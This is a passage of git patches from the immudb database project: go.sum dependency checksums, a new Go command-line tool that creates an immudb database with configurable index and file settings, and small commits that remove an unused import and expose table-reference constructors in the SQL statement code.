v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= +golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= +golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= +golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= +google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= +google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= +google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= +google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= +google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= +google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= +google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= +google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= +google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= +google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= +google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= +google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/tools/mkdb/main.go b/tools/mkdb/main.go new file mode 100644 index 0000000000..f51177f6e0 --- /dev/null +++ b/tools/mkdb/main.go @@ -0,0 +1,112 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "flag" + // "fmt" + "log" + "math/rand" + "time" + + "github.com/codenotary/immudb/pkg/api/schema" + immuclient "github.com/codenotary/immudb/pkg/client" +) + +var config struct { + IpAddr string + Port int + Username string + Password string + + DBName string + CacheSize int + FlushThreshold int + MaxActiveSnapshots int + FileSize int + MaxKeyLen int + MaxValueLen int + MaxTxEntries int + MaxConcurrency int +} + +func init() { + log.SetFlags(log.LstdFlags | log.Lshortfile) + flag.StringVar(&config.IpAddr, "addr", "", "IP address of immudb server") + flag.IntVar(&config.Port, "port", 3322, "Port number of immudb server") + flag.StringVar(&config.Username, "user", "immudb", "Username for authenticating to immudb") + flag.StringVar(&config.Password, "pass", "immudb", "Password for authenticating to immudb") + flag.StringVar(&config.DBName, "db", "defaultdb", "Name of the database to use") + + flag.IntVar(&config.CacheSize, "cachesize", 100_000, "Cache Size") + flag.IntVar(&config.FlushThreshold, "flushthreshold", 100_000, "Cache Size") + flag.IntVar(&config.MaxActiveSnapshots, "maxactivesnapshots", 100, "max active snapshots") + + flag.IntVar(&config.FileSize, "FileSize", 100, "Chunk file size") + flag.IntVar(&config.MaxKeyLen, "MaxKeyLen", 100, "max length of keys") + flag.IntVar(&config.MaxValueLen, "MaxValueLen", 100, "max length of values") + flag.IntVar(&config.MaxTxEntries, "MaxTxEntries", 100, "max Entries per transaction") + flag.IntVar(&config.MaxConcurrency, "MaxConcurrency", 100, "max concurrency") + flag.Parse() + rand.Seed(time.Now().UnixNano()) +} + +func main() { + ctx := context.Background() + opts := immuclient.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) + client := immuclient.NewClient().WithOptions(opts) + err := client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), "defaultdb") + if err != nil { + log.Fatalln("Failed to open session. Reason:", err) + } + defer client.CloseSession(ctx) + + dblist, err := client.DatabaseListV2(ctx) + if err != nil { + log.Fatalln("Failed to list. Reason:", err) + } + db_exists := false + for _, db := range dblist.Databases { + if db.Name == config.DBName { + db_exists = true + break + } + } + if db_exists { + log.Printf("Database %s already exists", config.DBName) + } + log.Printf("Creating database %s", config.DBName) + myindexOptions := schema.IndexNullableSettings{ + CacheSize: &schema.NullableUint32{Value: uint32(config.CacheSize)}, + FlushThreshold: &schema.NullableUint32{Value: uint32(config.FlushThreshold)}, + MaxActiveSnapshots: &schema.NullableUint32{Value: uint32(config.MaxActiveSnapshots)}, + } + settings := &schema.DatabaseNullableSettings{ + IndexSettings: &myindexOptions, + FileSize: &schema.NullableUint32{Value: uint32(config.FileSize)}, + MaxKeyLen: &schema.NullableUint32{Value: uint32(config.MaxKeyLen)}, + MaxValueLen: &schema.NullableUint32{Value: uint32(config.MaxValueLen)}, + MaxTxEntries: &schema.NullableUint32{Value: uint32(config.MaxTxEntries)}, + MaxConcurrency: &schema.NullableUint32{Value: uint32(config.MaxConcurrency)}, + } + _, err = client.CreateDatabaseV2(ctx, config.DBName, settings) + if err != nil { + log.Fatalln("Failed to create database. Reason:", err) + } + log.Printf("Database %s created", config.DBName) +} From 38f5a1a2d5338b41a9c06e0872fdc266bf1ce63c Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 13 Oct 2023 12:27:04 +0200 Subject: [PATCH 0858/1062] removed unnecessary dependency --- tools/mkdb/main.go | 4 ---- 1 file changed, 4 deletions(-) diff --git a/tools/mkdb/main.go b/tools/mkdb/main.go index f51177f6e0..3f9d033fa0 100644 --- a/tools/mkdb/main.go +++ b/tools/mkdb/main.go @@ -19,10 +19,7 @@ package main import ( "context" "flag" - // "fmt" "log" - "math/rand" - "time" "github.com/codenotary/immudb/pkg/api/schema" immuclient "github.com/codenotary/immudb/pkg/client" @@ -63,7 +60,6 @@ func init() { flag.IntVar(&config.MaxTxEntries, "MaxTxEntries", 100, "max Entries per transaction") flag.IntVar(&config.MaxConcurrency, "MaxConcurrency", 100, "max concurrency") flag.Parse() - rand.Seed(time.Now().UnixNano()) } func main() { From 420d6311e3ac2564dce56388cd81c6863bafdb5b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 13 Oct 2023 13:43:09 +0200 Subject: [PATCH 0859/1062] chore(embedded/sql): expose subquery creation Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2b4c787b49..f09371d1bd 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -582,7 +582,7 @@ type UpsertIntoStmt struct { func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ isInsert: isInsert, - tableRef: newTableRef(table, ""), + tableRef: NewTableRef(table, ""), cols: cols, rows: rows, onConflict: onConflict, @@ -1222,7 +1222,7 @@ type DeleteFromStmt struct { func NewDeleteFromStmt(table string, where ValueExp, orderBy []*OrdCol, limit ValueExp) *DeleteFromStmt { return &DeleteFromStmt{ - tableRef: newTableRef(table, ""), + tableRef: NewTableRef(table, ""), where: where, orderBy: orderBy, limit: limit, @@ -2289,7 +2289,7 @@ type SelectStmt struct { func NewSelectStmt( selectors []Selector, - table string, + ds DataSource, where ValueExp, orderBy []*OrdCol, limit ValueExp, @@ -2297,7 +2297,7 @@ func NewSelectStmt( ) *SelectStmt { return &SelectStmt{ selectors: selectors, - ds: newTableRef(table, ""), + ds: ds, where: where, orderBy: orderBy, limit: limit, @@ -2654,7 